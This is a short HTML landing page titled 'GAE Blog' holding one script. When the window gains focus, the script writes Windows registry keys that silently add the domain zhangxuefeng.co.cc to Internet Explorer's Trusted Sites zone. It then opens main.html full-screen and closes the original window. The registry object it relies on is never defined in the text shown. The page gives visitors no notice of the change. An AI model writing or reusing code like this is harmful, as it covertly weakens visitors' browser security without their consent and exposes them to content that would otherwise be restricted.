<!doctype html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>GAE Blog</title>
<script type="text/javascript">
function openWindow(){
	var savePath="HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains";//添加到受信任站点的注册表路径
	var domain="zhangxuefeng.co.cc";//域名
	var protocol="http";//协议
	var qianz="www";//前缀
	obj.RegWrite(savePath+"\\"+domain,"");
	obj.RegWrite(savePath+"\\" + domain + "\\"+qianz,"");
	obj.RegWrite(savePath+"\\" + domain + "\\"+qianz+"\\"+protocol,"2","REG_DWORD");


	window.opener=null; 
	var win=window.open('main.html','_blank','top=0,left=0,status=yes,toolbar=no,menubar=no,scrollbars=yes,resizable=yes'); 
	win.resizeBy(screen.availWidth,screen.availHeight);
	window.open('main.html','_self','top=0,left=0,status=yes,menubar=no,toolbar=no,scrollbars=yes,resizable=yes'); 
	window.close();  

}
	window.onfocus=openWindow;
</script>
</head>
<body>
</body>
</html>

